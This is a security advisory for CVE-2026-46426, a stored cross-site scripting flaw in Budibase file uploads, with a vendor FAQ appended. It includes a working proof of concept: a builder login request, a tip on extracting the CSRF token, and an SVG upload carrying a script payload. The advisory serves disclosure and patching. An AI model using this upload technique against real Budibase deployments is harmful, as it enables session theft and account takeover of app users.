CVE-2026-46426

The file upload endpoint POST /api/attachments/process does not enforce active-content restrictions for authenticated users. The checks for dangerous file extensions (html, svg, js, php, etc.) are conditionally wrapped inside if (isPublicUser) or if (isPublicUser || !env.SELF_HOSTED), meaning any authenticated builder can upload executable web content, SVG files with inline <script> tags, HTML pages with JavaScript, .js modules, which are then stored in the object store (MinIO/S3) with their correct MIME types (image/svg+xml, text/html, application/javascript). When the resulting signed URL is opened by any app user, the browser executes the payload.

Impact is persistent stored XSS over all application end users.

Details

The vulnerability exists in a single handler function uploadFile shared by two routes, located in packages/server/src/api/controllers/static/index.ts (lines 93–179).

Route definitions (packages/server/src/api/routes/static.ts):

POST /api/attachments/process → authorized(BUILDER)
POST /api/attachments/:tableId/upload → authorized(PermissionType.TABLE, PermissionLevel.WRITE)
Both routes invoke the same uploadFile function. The second endpoint is accessible to any authenticated app user (BASIC or POWER role) who has been granted WRITE on any table, not just builders.

PoC

Prerequisites

• Budibase self-hosted Docker deployment, any version ≤ 3.30.6
• An account with Builder role (does not require admin)
• Target app published and accessible to end users

Step 1, Authenticate as builder

POST /api/global/auth/default/login HTTP/1.1
Host: target:10000
Content-Type: application/json

{"username":"[email protected]","password":"BuilderPass1!"}

HTTP/1.1 200 OK
Set-Cookie: budibase:auth=<jwt>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT
Set-Cookie: budibase:auth.sig=<sig>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT

{"message":"Login successful"}

The CSRF token is bound to the session. Browsers send it automatically via the Budibase
frontend JS. For scripted requests, decode the JWT payload (base64url second segment) to
extract sessionId, then read the Redis key session-<userId>/<sessionId> → csrfToken.

Step 2, Upload SVG with XSS payload

POST /api/attachments/process HTTP/1.1
Host: target:10000
Cookie: budibase:auth=<jwt>; budibase:auth.sig=<sig>
x-budibase-app-id: <dev_app_id>
x-csrf-token: <csrf_token>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Length: 391

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="file"; filename="xss.svg"
Content-Type: image/svg+xml

<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--

HTTP/1.1 200 OK

[{"size":207,"name":"xss.svg","url":"http://target:10000/files/signed/.../<uuid>.svg?X-Amz-...","extension":"svg","key":"workspace_id/attachments/<uuid>.svg"}]

• App end users - Stored XSS on any screen containing the attachment URL. Session cookie theft → full account takeover. |
• Builder accounts - If malicious URL is shared within the workspace (table attachment, embedded image), XSS fires in builder's session → workspace takeover.

Discovered By:
Abdulrahman Albatel
Abdullah Alrasheed

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-46426 has a CVSS score of 7.6 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.38.2); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-46426? CVE-2026-46426 is a high-severity cross-site scripting (XSS) vulnerability in budibase (npm), affecting versions < 3.38.2. It is fixed in 3.38.2. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2026-46426? CVE-2026-46426 has a CVSS score of 7.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of budibase are affected by CVE-2026-46426? budibase (npm) versions < 3.38.2 is affected.
4. Is there a fix for CVE-2026-46426? Yes. CVE-2026-46426 is fixed in 3.38.2. Upgrade to this version or later.
5. Is CVE-2026-46426 exploitable, and should I be worried? Whether CVE-2026-46426 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-46426 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-46426? Upgrade budibase to 3.38.2 or later.